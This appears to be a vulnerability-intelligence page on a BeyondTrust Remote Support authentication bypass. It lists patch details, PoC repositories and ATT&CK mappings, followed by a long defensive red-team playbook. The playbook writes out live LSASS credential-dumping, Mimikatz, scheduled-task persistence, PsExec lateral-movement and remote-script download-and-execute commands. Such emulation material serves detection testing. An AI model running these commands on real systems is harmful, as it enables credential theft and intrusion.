CVE-2026-102764

CRITICAL CISA KEV POC Pub 15/10 Upd 17/10

Overview

This vulnerability is an authentication bypass caused by insufficient validation of message origins within internal components of BeyondTrust Remote Support. The affected components fail to verify the source of incoming messages, allowing unauthorized commands to be processed. The flaw resides specifically in the internal message handling mechanism of the Remote Support appliance.

Vulnerability Description

The vulnerability exists within internal components of BeyondTrust’s Remote Support product. The components did not adequately validate the origin of the messages it received. Under the right conditions, this could allow an attacker to perform file operations on the appliance.

Impact

An attacker with network access can perform unauthorized file operations on the BeyondTrust Remote Support appliance without requiring authentication or user interaction. This can lead to unauthorized data manipulation, potential data exfiltration, or disruption of appliance functionality. The lack of origin validation enables attackers to bypass security controls, risking compromise of sensitive support infrastructure and enabling further lateral movement within the environment.

Solution

BeyondTrust has released a security advisory identified as BT26-05 addressing this vulnerability. Users of BeyondTrust Remote Support should apply the patch provided in this advisory promptly. Detailed patch instructions and updates are available at https://www.beyondtrust.com/blog/entry/bt26-05 and the vendor’s knowledge base article KB0024066. Administrators should follow these vendor-specific remediation steps to ensure the appliance is updated to a secure version.

EPSS vs KEV Prediction — Evolution (30 days)

Affected Products (1)

Vendor Product Version CPE
beyondtrust Beyondtrust Remote Support All cpe:2.3:a:beyondtrust:remote_support:*:*:*:*:*:*:*:*
Warning: The exploits and proof-of-concept (PoC) code listed below are sourced from third-party public repositories. CSURFACE assumes no responsibility for the content, accuracy, or safety of these resources. Use at your own risk. Learn more

GitHub PoCs (6)

Repository Author Stars Forks Date Link
Worthes/CVE-2026-102764-Proof-of-concept
CVE-2026-102764 BeyondTrust Remote Support unauthenticated file write / RCE proof of concept
 Worthes 3 0 2026-10-16 View
CompleteTech-Security/beyondtrust-remote-support-cve-2026-102764-check
Offline BeyondTrust Remote Support evidence checker for CVE-2026-102764. Remote Support version and configuration eviden...
 CompleteTech-Security 0 1 2026-10-23 View
CompleTech-Security/beyondtrust-remote-support-cve-2026-102764-check
Offline BeyondTrust Remote Support evidence checker for CVE-2026-102764. Remote Support version and configuration eviden...
 CompleTech-Security 0 0 2026-10-23 View
CompleTetech-Security/beyondtrust-remote-support-cve-2026-102764-check
Offline BeyondTrust Remote Support evidence checker for CVE-2026-102764. Remote Support version and configuration eviden...
 CompleTetech-Security 0 0 2026-10-23 View
completetech-security/beyondtrust-remote-support-cve-2026-102764-check
Standalone defensive checker project for CVE-2026-102764: BeyondTrust Remote Support: Internal-message origin validation...
 completetech-security 0 0 2026-10-23 View
maxprog-svg/CVE-2026-102764
CVE-2026-102764 — BeyondTrust Remote Support Exploit
 maxprog-svg 0 0 2026-10-21 View
Exploited in Wild CONFIRMED
Ransomware NOT ASSOCIATED
Attacker Interest VERY HIGH
Sightings Extensive activity

Threat Feed

15 events
2026-11-04
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-11-03
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-11-02
Threat Sensor Sighting — Some sightings

Sighting activity recorded

2026-11-01
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-10-31
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-10-28
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-10-23
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-10-19
Threat Sensor Sighting — Some sightings

Sighting activity recorded

2026-10-18
Threat Sensor Sighting — Some sightings

Sighting activity recorded

2026-10-17
Threat Sensor Sighting — Some sightings

Sighting activity recorded

2026-10-16
Threat Sensor Sighting — Considerable activity

Sighting activity recorded

2026-10-16
Added to CISA KEV Catalog

CISA confirmed active exploitation — added to Known Exploited Vulnerabilities catalog

2026-10-16
PoC Published (6 GitHub repositories)

Proof-of-concept code is publicly available for this vulnerability

2026-10-15
Threat Sensor Sighting — Few sightings

Sighting activity recorded

Detected as Exploited in the Wild (121 sightings)

Active exploitation confirmed with 121 sighting(s)

Likely Kill Chain

Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.

Applicable Out of scope
Initial Access
TA0001
Execution
TA0002
Persistence
TA0003
Priv. Escalation
TA0004
Defense Evasion
TA0005
Credential Access
TA0006
Lateral Movement
TA0008
Collection
TA0009
Impact
TA0040

Kill chain derived from the ML classifier.

Attack Vectors ML

Authentication Bypass
77% auth_bypass
Path Traversal
49% path_traversal

MITRE ATT&CK Techniques (6)

The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.

ID Name Stage Tactics Platforms Link
T1190 Exploit Public-Facing Application Initial Access initial-access Containers, ESXi, IaaS, Linux, macOS, Network Devices, Windows
T1053.005 Scheduled Task Kill Chain execution, persistence, privilege-escalation Windows
T1059.001 PowerShell Kill Chain execution Windows
T1003.001 LSASS Memory Kill Chain credential-access Windows
T1087.002 Domain Account Kill Chain discovery Linux, macOS, Windows
T1021.002 SMB/Windows Admin Shares Kill Chain lateral-movement Windows

CAPEC Attack Patterns ML

ID Name ML Conf. Likelihood Severity Link
CAPEC-22 Exploiting Trust in Client
40%
High High
CAPEC-21 Exploitation of Trusted Identifiers
40%
High High
CAPEC-461 Web Services API Signature Forgery Leveraging Hash Function Extension Weakness
30%
— High
CAPEC-94 Adversary in the Middle (AiTM)
30%
High Very High
CAPEC-459 Creating a Rogue Certification Authority Certificate
30%
Medium Very High

Red Team Playbook

79 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.

T1003.001 Create Mini Dump of LSASS.exe using ProcDump Windows CMD Privileged
The memory of lsass.exe is often dumped for offline credential theft attacks. This can be achieved with Sysinternals ProcDump. This particular method uses -mm to produce a mini dump of lsass.exe Upon successful execution, you should see the following file created...
Command (CMD) 
"#{procdump_exe}" -accepteula -mm lsass.exe #{output_file}
T1003.001 Dump LSASS with createdump.exe from .Net v5 Windows PowerShell Privileged
Use createdump executable from .NET to create an LSASS dump. [Reference](https://twitter.com/bopin2020/status/1366400799199272960?s=20)
Command (PowerShell) 
$exePath =  resolve-path "$env:ProgramFiles\dotnet\shared\Microsoft.NETCore.App\5*\createdump.exe"
& "$exePath" -u -f $env:Temp\dotnet-lsass.dmp (Get-Process lsass).id
T1003.001 Dump LSASS.exe Memory through Silent Process Exit Windows CMD Privileged
WerFault.exe (Windows Error Reporting process that handles process crashes) can be abused to create a memory dump of lsass.exe, in a directory of your choice. This method relies on a mechanism introduced in Windows 7 called Silent Process Exit, which provides the ability to...
Command (CMD) 
PathToAtomicsFolder\..\ExternalPayloads\nanodump.x64.exe --silent-process-exit "#{output_folder}"
T1003.001 Dump LSASS.exe Memory using NanoDump Windows CMD Privileged
The NanoDump tool uses syscalls and an invalid dump signature to avoid detection. https://github.com/helpsystems/nanodump Upon successful execution, you should find the nanondump.dmp file in the temp directory
Command (CMD) 
PathToAtomicsFolder\..\ExternalPayloads\nanodump.x64.exe -w "%temp%\nanodump.dmp"
T1003.001 Dump LSASS.exe Memory using Out-Minidump.ps1 Windows PowerShell Privileged
The memory of lsass.exe is often dumped for offline credential theft attacks. This test leverages a pure powershell implementation that leverages the MiniDumpWriteDump Win32 API call. Upon successful execution, you should see the following file created...
Command (PowerShell) 
[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction Ignore -Force | Out-Null
try{ IEX (IWR 'https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1003.001/src/Out-Minidump.ps1' -UseBasicParsing) -ErrorAction Stop}
catch{ $_; exit $_.Exception.Response.StatusCode.Value__}
get-process lsass | Out-Minidump
T1003.001 Dump LSASS.exe Memory using ProcDump Windows CMD Privileged
The memory of lsass.exe is often dumped for offline credential theft attacks. This can be achieved with Sysinternals ProcDump. Upon successful execution, you should see the following file created c:\windows\temp\lsass_dump.dmp. If you see a message saying "procdump.exe is...
Command (CMD) 
"#{procdump_exe}" -accepteula -ma lsass.exe #{output_file}
T1003.001 Dump LSASS.exe Memory using Windows Task Manager Windows Manual
The memory of lsass.exe is often dumped for offline credential theft attacks. This can be achieved with the Windows Task Manager and administrative permissions.
T1003.001 Dump LSASS.exe Memory using comsvcs.dll Windows PowerShell Privileged
The memory of lsass.exe is often dumped for offline credential theft attacks. This can be achieved with a built-in dll. Upon successful execution, you should see the following file created $env:TEMP\lsass-comsvcs.dmp.
Command (PowerShell) 
C:\Windows\System32\rundll32.exe C:\windows\System32\comsvcs.dll, MiniDump (Get-Process lsass).id $env:TEMP\lsass-comsvcs.dmp full
T1003.001 Dump LSASS.exe Memory using direct system calls and API unhooking Windows CMD Privileged
The memory of lsass.exe is often dumped for offline credential theft attacks. This can be achieved using direct system calls and API unhooking in an effort to avoid detection....
Command (CMD) 
"#{dumpert_exe}"
T1003.001 Dump LSASS.exe using imported Microsoft DLLs Windows PowerShell Privileged
The memory of lsass.exe is often dumped for offline credential theft attacks. This can be achieved by importing built-in DLLs and calling exported functions. Xordump will re-read the resulting minidump file and delete it immediately to avoid brittle EDR detections that...
Command (PowerShell) 
#{xordump_exe} -out #{output_file} -x 0x41
T1003.001 Dump LSASS.exe using lolbin rdrleakdiag.exe Windows PowerShell Privileged
The memory of lsass.exe is often dumped for offline credential theft attacks. This can be achieved with lolbin rdrleakdiag.exe. Upon successful execution, you should see the following files created, $env:TEMP\minidump_<PID>.dmp and $env:TEMP\results_<PID>.hlk.
Command (PowerShell) 
if (Test-Path -Path "$env:SystemRoot\System32\rdrleakdiag.exe") {
      $binary_path = "$env:SystemRoot\System32\rdrleakdiag.exe"
  } elseif (Test-Path -Path "$env:SystemRoot\SysWOW64\rdrleakdiag.exe") {
      $binary_path = "$env:SystemRoot\SysWOW64\rdrleakdiag.exe"
  } else {
      $binary_path = "File not found"
      exit 1
  }
$lsass_pid = get-process lsass |select -expand id
if (-not (Test-Path -Path"$env:TEMP\t1003.001-13-rdrleakdiag")) {New-Item -ItemType Directory -Path $env:TEMP\t1003.001-13-rdrleakdiag -Force} 
write-host $binary_path /p $lsass_pid /o $env:TEMP\t1003.001-13-rdrleakdiag /fullmemdmp /wait 1
& $binary_path /p $lsass_pid /o $env:TEMP\t1003.001-13-rdrleakdiag /fullmemdmp /wait 1
Write-Host "Minidump file, minidump_$lsass_pid.dmp can be found inside $env:TEMP\t1003.001-13-rdrleakdiag directory."
T1003.001 LSASS read with pypykatz Windows CMD Privileged
Parses secrets hidden in the LSASS process with python. Similar to mimikatz's sekurlsa:: Python 3 must be installed, use the get_prereq_command's to meet the prerequisites for this test. Successful execution of this test will display multiple usernames and passwords/hashes...
Command (CMD) 
"#{venv_path}\Scripts\pypykatz" live lsa
T1003.001 Offline Credential Theft With Mimikatz Windows CMD Privileged
The memory of lsass.exe is often dumped for offline credential theft attacks. Adversaries commonly perform this offline analysis with Mimikatz. This tool is available at https://github.com/gentilkiwi/mimikatz and can be obtained using the get-prereq_commands.
Command (CMD) 
#{mimikatz_exe} "sekurlsa::minidump #{input_file}" "sekurlsa::logonpasswords full" exit
T1003.001 Powershell Mimikatz Windows PowerShell Privileged
Dumps credentials from memory via Powershell by invoking a remote mimikatz script. If Mimikatz runs successfully you will see several usernames and hashes output to the screen. Common failures include seeing an \"access denied\" error which results when Anti-Virus blocks...
Command (PowerShell) 
IEX (New-Object Net.WebClient).DownloadString('#{remote_script}'); Invoke-Mimikatz -DumpCreds
T1021.002 Copy and Execute File with PsExec Windows CMD Privileged
Copies a file to a remote host and executes it using PsExec. Requires the download of PsExec from [https://docs.microsoft.com/en-us/sysinternals/downloads/psexec](https://docs.microsoft.com/en-us/sysinternals/downloads/psexec).
Command (CMD) 
"#{psexec_exe}" #{remote_host} -accepteula -c #{command_path}
T1021.002 Execute command writing output to local Admin Share Windows CMD Privileged
Executes a command, writing the output to a local Admin Share. This technique is used by post-exploitation frameworks.
Command (CMD) 
cmd.exe /Q /c #{command_to_execute} 1> \\127.0.0.1\ADMIN$\#{output_file} 2>&1
T1021.002 Map Admin Share PowerShell Windows PowerShell
Map Admin share utilizing PowerShell
Command (PowerShell) 
New-PSDrive -name #{map_name} -psprovider filesystem -root \\#{computer_name}\#{share_name}
T1021.002 Map admin share Windows CMD
Connecting To Remote Shares
Command (CMD) 
cmd.exe /c "net use \\#{computer_name}\#{share_name} #{password} /u:#{user_name}"
T1053.005 Import XML Schedule Task with Hidden Attribute Windows PowerShell Privileged
Create an scheduled task that executes calc.exe after user login from XML that contains hidden setting attribute. This technique was seen several times in tricbot malware and also with the targetted attack campaigne the industroyer2.
Command (PowerShell) 
$xml = [System.IO.File]::ReadAllText("#{xml_path}")
Invoke-CimMethod -ClassName PS_ScheduledTask -NameSpace "Root\Microsoft\Windows\TaskScheduler" -MethodName "RegisterByXml" -Arguments @{ Force = $true; Xml =$xml; }
T1053.005 PowerShell Modify A Scheduled Task Windows PowerShell
Create a scheduled task with an action and modify the action to do something else. The initial idea is to showcase Microsoft Windows TaskScheduler Operational log modification of an action on a Task already registered. It will first be created to spawn cmd.exe, but modified...
Command (PowerShell) 
$Action = New-ScheduledTaskAction -Execute "cmd.exe"
$Trigger = New-ScheduledTaskTrigger -AtLogon
$User = New-ScheduledTaskPrincipal -GroupId "BUILTIN\Administrators" -RunLevel Highest
$Set = New-ScheduledTaskSettingsSet
$object = New-ScheduledTask -Action $Action -Principal $User -Trigger $Trigger -Settings $Set
Register-ScheduledTask AtomicTaskModifed -InputObject $object
$NewAction = New-ScheduledTaskAction -Execute "Notepad.exe"
Set-ScheduledTask "AtomicTaskModifed" -Action $NewAction
T1053.005 Powershell Cmdlet Scheduled Task Windows PowerShell
Create an atomic scheduled task that leverages native powershell cmdlets. Upon successful execution, powershell.exe will create a scheduled task to spawn cmd.exe at 20:10.
Command (PowerShell) 
$Action = New-ScheduledTaskAction -Execute "calc.exe"
$Trigger = New-ScheduledTaskTrigger -AtLogon
$User = New-ScheduledTaskPrincipal -GroupId "BUILTIN\Administrators" -RunLevel Highest
$Set = New-ScheduledTaskSettingsSet
$object = New-ScheduledTask -Action $Action -Principal $User -Trigger $Trigger -Settings $Set
Register-ScheduledTask AtomicTask -InputObject $object
T1053.005 Scheduled Task ("Ghost Task") via Registry Key Manipulation Windows CMD Privileged
Create a scheduled task through manipulation of registry keys. This procedure is implemented using the [GhostTask](https://github.com/netero1010/GhostTask) utility. By manipulating registry keys under HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tree,...
Command (CMD) 
"PathToAtomicsFolder\..\ExternalPayloads\PsExec.exe" \\#{target} -accepteula -s "cmd.exe"
"PathToAtomicsFolder\..\ExternalPayloads\GhostTask.exe" \\#{target} add #{task_name} "cmd.exe" "/c #{task_command}" #{user_name} logon
T1053.005 Scheduled Task Executing Base64 Encoded Commands From Registry Windows CMD
A Base64 Encoded command will be stored in the registry (ping 127.0.0.1) and then a scheduled task will be created. The scheduled task will launch powershell to decode and run the command in the registry daily. This is a persistence mechanism recently seen in use by Qakbot. ...
Command (CMD) 
reg add HKCU\SOFTWARE\ATOMIC-T1053.005 /v test /t REG_SZ /d cGluZyAxMjcuMC4wLjE= /f
schtasks.exe /Create /F /TN "ATOMIC-T1053.005" /TR "cmd /c start /min \"\" powershell.exe -Command IEX([System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String((Get-ItemProperty -Path HKCU:\\SOFTWARE\\ATOMIC-T1053.005).test)))" /sc daily /st #{time}
T1053.005 Scheduled Task Persistence via CompMgmt.msc Windows CMD Privileged
Adds persistence by abusing `compmgmt.msc` via a scheduled task. When the Computer Management console is opened, it will run a malicious payload (in this case, `calc.exe`). This technique abuses scheduled tasks and registry modifications to hijack legitimate system processes.
Command (CMD) 
reg add "HKEY_CURRENT_USER\Software\Classes\mscfile\shell\open\command" /ve /t REG_EXPAND_SZ /d "c:\windows\System32\#{payload}" /f
schtasks /Create /TN "#{task_name}" /TR "compmgmt.msc" /SC ONLOGON /RL HIGHEST /F
ECHO Let's open the Computer Management console now...
compmgmt.msc
T1053.005 Scheduled Task Persistence via Eventviewer.msc Windows CMD Privileged
Adds persistence by abusing `eventviewer.msc` via a scheduled task. When the eventviewer console is opened, it will run a malicious payload (in this case, `calc.exe`).
Command (CMD) 
reg add "HKEY_CURRENT_USER\Software\Classes\mscfile\shell\open\command" /ve /t REG_EXPAND_SZ /d "c:\windows\System32\#{payload}" /f
schtasks /Create /TN "#{task_name}" /TR "eventvwr.msc" /SC ONLOGON /RL HIGHEST /F
ECHO Let's run the schedule task ...
schtasks /Run /TN "EventViewerBypass"
T1053.005 Scheduled Task Startup Script Windows CMD Privileged
Run an exe on user logon or system startup. Upon execution, success messages will be displayed for the two scheduled tasks. To view the tasks, open the Task Scheduler and look in the Active Tasks pane.
Command (CMD) 
schtasks /create /tn "T1053_005_OnLogon" /sc onlogon /tr "cmd.exe /c calc.exe"
schtasks /create /tn "T1053_005_OnStartup" /sc onstart /ru system /tr "cmd.exe /c calc.exe"
T1053.005 Scheduled task Local Windows CMD
Upon successful execution, cmd.exe will create a scheduled task to spawn cmd.exe at 20:10.
Command (CMD) 
SCHTASKS /Create /SC ONCE /TN spawn /TR #{task_command} /ST #{time}
T1053.005 Scheduled task Remote Windows CMD Privileged
Create a task on a remote system. Upon successful execution, cmd.exe will create a scheduled task to spawn cmd.exe at 20:10 on a remote endpoint.
Command (CMD) 
SCHTASKS /Create /S #{target} /RU #{user_name} /RP #{password} /TN "Atomic task" /TR "#{task_command}" /SC daily /ST #{time}
T1053.005 Task Scheduler via VBA Windows PowerShell
This module utilizes the Windows API to schedule a task for code execution (notepad.exe). The task scheduler will execute "notepad.exe" within 30 - 40 seconds after this module has run
Command (PowerShell) 
[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
IEX (iwr "https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1204.002/src/Invoke-MalDoc.ps1" -UseBasicParsing) 
Invoke-MalDoc -macroFile "PathToAtomicsFolder\T1053.005\src\T1053.005-macrocode.txt" -officeProduct "#{ms_product}" -sub "Scheduler"
T1053.005 Turla KopiLuwak Scheduled Task for JavaScript Stager Windows CMD Privileged
Emulates the KopiLuwak dropper's scheduled task creation stage. Creates a logon-triggered scheduled task named ProactiveScan with description "NTFS Volume Health Scan" that runs Chkdsk.js from the current user's AppData\Roaming\Microsoft directory with an RC4 decryption key...
Command (CMD) 
schtasks /create /TN "ProactiveScan" /TR "wscript.exe \"%APPDATA%\Microsoft\Chkdsk.js\" -scan Kdw6gG7cpOSZsBeH" /SC ONLOGON /F
T1053.005 Turla Topinambour Dropper and Scheduled Task Persistence Windows PowerShell
Emulates the dropper behavior of Turla's Topinambour. Uses inline C# compiled via Add-Type to replicate the dropper's unpack_p() and make_some_noise() functions. unpack_p() drops a benign stand-in executable to %LOCALAPPDATA%\VirtualStore\certcheck.exe, and make_some_noise()...
Command (PowerShell) 
Add-Type @'
using System;
using System.Diagnostics;
using System.IO;

public class TopinambourDropper {
    public static void unpack_p(string sourceExe) {
        string dropPath = Path.Combine(Environment.GetEnvironmentVariable("LOCALAPPDATA"), "VirtualStore", "certcheck.exe");
        Directory.CreateDirectory(Path.GetDirectoryName(dropPath));
        File.Copy(sourceExe, dropPath, true);
    }

    public static void make_some_noise() {
        ProcessStartInfo startInfo = new ProcessStartInfo("cmd", "/c schtasks /create /SC MINUTE /MO 30 /TR %%localappdata%%\\VirtualStore\\certcheck.exe /TN VerifiedPublisherCertCheck /F")
        {
            CreateNoWindow = true,
            UseShellExecute = false
        };
        Process.Start(startInfo).WaitForExit();
    }
}
'@
[TopinambourDropper]::unpack_p("#{benign_exe}")
[TopinambourDropper]::make_some_noise()
T1053.005 WMI Invoke-CimMethod Scheduled Task Windows PowerShell Privileged
Create an scheduled task that executes notepad.exe after user login from XML by leveraging WMI class PS_ScheduledTask. Does the same thing as Register-ScheduledTask cmdlet behind the scenes.
Command (PowerShell) 
$xml = [System.IO.File]::ReadAllText("#{xml_path}")
Invoke-CimMethod -ClassName PS_ScheduledTask -NameSpace "Root\Microsoft\Windows\TaskScheduler" -MethodName "RegisterByXml" -Arguments @{ Force = $true; Xml =$xml; }
T1059.001 ATHPowerShellCommandLineParameter -Command parameter variations Windows PowerShell
Executes powershell.exe with variations of the -Command parameter
Command (PowerShell) 
Out-ATHPowerShellCommandLineParameter -CommandLineSwitchType #{command_line_switch_type} -CommandParamVariation #{command_param_variation} -Execute -ErrorAction Stop
T1059.001 ATHPowerShellCommandLineParameter -Command parameter variations with encoded arguments Windows PowerShell
Executes powershell.exe with variations of the -Command parameter with encoded arguments supplied
Command (PowerShell) 
Out-ATHPowerShellCommandLineParameter -CommandLineSwitchType #{command_line_switch_type} -CommandParamVariation #{command_param_variation} -UseEncodedArguments -EncodedArgumentsParamVariation #{encoded_arguments_param_variation} -Execute -ErrorAction Stop
T1059.001 ATHPowerShellCommandLineParameter -EncodedCommand parameter variations Windows PowerShell
Executes powershell.exe with variations of the -EncodedCommand parameter
Command (PowerShell) 
Out-ATHPowerShellCommandLineParameter -CommandLineSwitchType #{command_line_switch_type} -EncodedCommandParamVariation #{encoded_command_param_variation} -Execute -ErrorAction Stop
T1059.001 ATHPowerShellCommandLineParameter -EncodedCommand parameter variations with encoded arguments Windows PowerShell
Executes powershell.exe with variations of the -EncodedCommand parameter with encoded arguments supplied
Command (PowerShell) 
Out-ATHPowerShellCommandLineParameter -CommandLineSwitchType #{command_line_switch_type} -EncodedCommandParamVariation #{encoded_command_param_variation} -UseEncodedArguments -EncodedArgumentsParamVariation #{encoded_arguments_param_variation} -Execute -ErrorAction Stop
T1059.001 Abuse Nslookup with DNS Records Windows PowerShell
Red teamer's avoid IEX and Invoke-WebRequest in your PowerShell commands. Instead, host a text record with a payload to compromise hosts. [reference](https://twitter.com/jstrosch/status/1237382986557001729)
Command (PowerShell) 
# creating a custom nslookup function that will indeed call nslookup but forces the result to be "whoami"
# this would not be part of a real attack but helpful for this simulation
function nslookup  { &"$env:windir\system32\nslookup.exe" @args | Out-Null; @("","whoami")}
powershell .(nslookup -q=txt example.com 8.8.8.8)[-1]
T1059.001 Invoke-AppPathBypass Windows CMD
Note: Windows 10 only. Upon execution windows backup and restore window will be opened. Bypass is based on: https://enigma0x3.net/2017/03/14/bypassing-uac-using-app-paths/
Command (CMD) 
Powershell.exe "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/enigma0x3/Misc-PowerShell-Stuff/a0dfca7056ef20295b156b8207480dc2465f94c3/Invoke-AppPathBypass.ps1'); Invoke-AppPathBypass -Payload 'C:\Windows\System32\cmd.exe'"
T1059.001 Mimikatz Windows PowerShell Privileged
Download Mimikatz and dump credentials. Upon execution, mimikatz dump details and password hashes will be displayed.
Command (PowerShell) 
Import-Module "#{mimpath}"
Invoke-Mimikatz -DumpCreds
T1059.001 Mimikatz - Cradlecraft PsSendKeys Windows PowerShell Privileged
Run mimikatz via PsSendKeys. Upon execution, automated actions will take place to open file explorer, open notepad and input code, then mimikatz dump info will be displayed.
Command (PowerShell) 
$url='https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/f650520c4b1004daf8b3ec08007a0b945b91253a/Exfiltration/Invoke-Mimikatz.ps1';$wshell=New-Object -ComObject WScript.Shell;$reg='HKCU:\Software\Microsoft\Notepad';$app='Notepad';$props=(Get-ItemProperty $reg);[Void][System.Reflection.Assembly]::LoadWithPartialName('System.Windows.Forms');@(@('iWindowPosY',([String]([System.Windows.Forms.Screen]::AllScreens)).Split('}')[0].Split('=')[5]),@('StatusBar',0))|ForEach{SP $reg (Item Variable:_).Value[0] (Variable _).Value[1]};$curpid=$wshell.Exec($app).ProcessID;While(!($title=GPS|?{(Item Variable:_).Value.id-ieq$curpid}|ForEach{(Variable _).Value.MainWindowTitle})){Start-Sleep -Milliseconds 500};While(!$wshell.AppActivate($title)){Start-Sleep -Milliseconds 500};$wshell.SendKeys('^o');Start-Sleep -Milliseconds 500;@($url,(' '*1000),'~')|ForEach{$wshell.SendKeys((Variable _).Value)};$res=$Null;While($res.Length -lt 2){[Windows.Forms.Clipboard]::Clear();@('^a','^c')|ForEach{$wshell.SendKeys((Item Variable:_).Value)};Start-Sleep -Milliseconds 500;$res=([Windows.Forms.Clipboard]::GetText())};[Windows.Forms.Clipboard]::Clear();@('%f','x')|ForEach{$wshell.SendKeys((Variable _).Value)};If(GPS|?{(Item Variable:_).Value.id-ieq$curpid}){@('{TAB}','~')|ForEach{$wshell.SendKeys((Item Variable:_).Value)}};@('iWindowPosDY','iWindowPosDX','iWindowPosY','iWindowPosX','StatusBar')|ForEach{SP $reg (Item Variable:_).Value $props.((Variable _).Value)};IEX($res);invoke-mimikatz -dumpcr
T1059.001 NTFS Alternate Data Stream Access Windows PowerShell
Creates a file with an alternate data stream and simulates executing that hidden code/file. Upon execution, "Stream Data Executed" will be displayed.
Command (PowerShell) 
Add-Content -Path #{ads_file} -Value 'Write-Host "Stream Data Executed"' -Stream 'streamCommand'
$streamcommand = Get-Content -Path #{ads_file} -Stream 'streamcommand'
Invoke-Expression $streamcommand
T1059.001 PowerShell Command Execution Windows CMD
Use of obfuscated PowerShell to execute an arbitrary command; outputs "Hello, from PowerShell!". Example is from the 2021 Threat Detection Report by Red Canary.
Command (CMD) 
powershell.exe -e  #{obfuscated_code}
T1059.001 PowerShell Fileless Script Execution Windows PowerShell
Execution of a PowerShell payload from the Windows Registry similar to that seen in fileless malware infections. Upon exection, open "C:\Windows\Temp" and verify that art-marker.txt is in the folder.
Command (PowerShell) 
# Encoded payload in next command is the following "Set-Content -path "$env:SystemRoot/Temp/art-marker.txt" -value "Hello from the Atomic Red Team""
reg.exe add "HKEY_CURRENT_USER\Software\Classes\AtomicRedTeam" /v ART /t REG_SZ /d "U2V0LUNvbnRlbnQgLXBhdGggIiRlbnY6U3lzdGVtUm9vdC9UZW1wL2FydC1tYXJrZXIudHh0IiAtdmFsdWUgIkhlbGxvIGZyb20gdGhlIEF0b21pYyBSZWQgVGVhbSI=" /f
iex ([Text.Encoding]::ASCII.GetString([Convert]::FromBase64String((gp 'HKCU:\Software\Classes\AtomicRedTeam').ART)))
T1059.001 PowerShell Invoke Known Malicious Cmdlets Windows PowerShell Privileged
Powershell execution of known Malicious PowerShell Cmdlets
Command (PowerShell) 
$malcmdlets = #{Malicious_cmdlets}
foreach ($cmdlets in $malcmdlets) {
    "function $cmdlets { Write-Host Pretending to invoke $cmdlets }"}
foreach ($cmdlets in $malcmdlets) {
    $cmdlets}
T1059.001 PowerShell Session Creation and Use Windows PowerShell Privileged
Connect to a remote powershell session and interact with the host. Upon execution, network test info and 'T1086 PowerShell Session Creation and Use' will be displayed.
Command (PowerShell) 
New-PSSession -ComputerName #{hostname_to_connect}
Test-Connection $env:COMPUTERNAME
Set-Content -Path $env:TEMP\T1086_PowerShell_Session_Creation_and_Use -Value "T1086 PowerShell Session Creation and Use"
Get-Content -Path $env:TEMP\T1086_PowerShell_Session_Creation_and_Use
Remove-Item -Force $env:TEMP\T1086_PowerShell_Session_Creation_and_Use
T1059.001 PowerUp Invoke-AllChecks Windows PowerShell
Check for privilege escalation paths using PowerUp from PowerShellMafia
Command (PowerShell) 
[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
iex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)
Invoke-AllChecks
T1059.001 Powershell Invoke-DownloadCradle Windows Manual
Provided by https://github.com/mgreen27/mgreen27.github.io Invoke-DownloadCradle is used to generate Network and Endpoint artifacts.
T1059.001 Powershell MsXml COM object - with prompt Windows CMD
Powershell MsXml COM object. Not proxy aware, removing cache although does not appear to write to those locations. Upon execution, "Download Cradle test success!" will be displayed. Provided by https://github.com/mgreen27/mgreen27.github.io
Command (CMD) 
powershell.exe -exec bypass -noprofile "$comMsXml=New-Object -ComObject MsXml2.ServerXmlHttp;$comMsXml.Open('GET','#{url}',$False);$comMsXml.Send();IEX $comMsXml.ResponseText"
T1059.001 Powershell XML requests Windows CMD
Powershell xml download request. Upon execution, "Download Cradle test success!" will be dispalyed. Provided by https://github.com/mgreen27/mgreen27.github.io
Command (CMD) 
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -exec bypass -noprofile "$Xml = (New-Object System.Xml.XmlDocument);$Xml.Load('#{url}');$Xml.command.a.execute | IEX"
T1059.001 Powershell invoke mshta.exe download Windows CMD
Powershell invoke mshta to download payload. Upon execution, a new PowerShell window will be opened which will display "Download Cradle test success!". Provided by https://github.com/mgreen27/mgreen27.github.io
Command (CMD) 
C:\Windows\system32\cmd.exe /c "mshta.exe javascript:a=GetObject('script:#{url}').Exec();close()"
T1059.001 Run BloodHound from local disk Windows PowerShell
Upon execution SharpHound will be downloaded to disk, imported and executed. It will set up collection methods, run and then compress and store the data to the temp directory on the machine. If system is unable to contact a domain, proper execution will not occur. Successful...
Command (PowerShell) 
import-module "PathToAtomicsFolder\..\ExternalPayloads\SharpHound.ps1"
try { Invoke-BloodHound -OutputDirectory $env:Temp }
catch { $_; exit $_.Exception.HResult}
Start-Sleep 5
T1059.001 Run Bloodhound from Memory using Download Cradle Windows PowerShell
Upon execution SharpHound will load into memory and execute against a domain. It will set up collection methods, run and then compress and store the data to the temp directory. If system is unable to contact a domain, proper execution will not occur. Successful execution...
Command (PowerShell) 
write-host "Remote download of SharpHound.ps1 into memory, followed by execution of the script" -ForegroundColor Cyan
IEX (New-Object Net.Webclient).DownloadString('https://raw.githubusercontent.com/BloodHoundAD/BloodHound/804503962b6dc554ad7d324cfa7f2b4a566a14e2/Ingestors/SharpHound.ps1');
Invoke-BloodHound -OutputDirectory $env:Temp
Start-Sleep 5
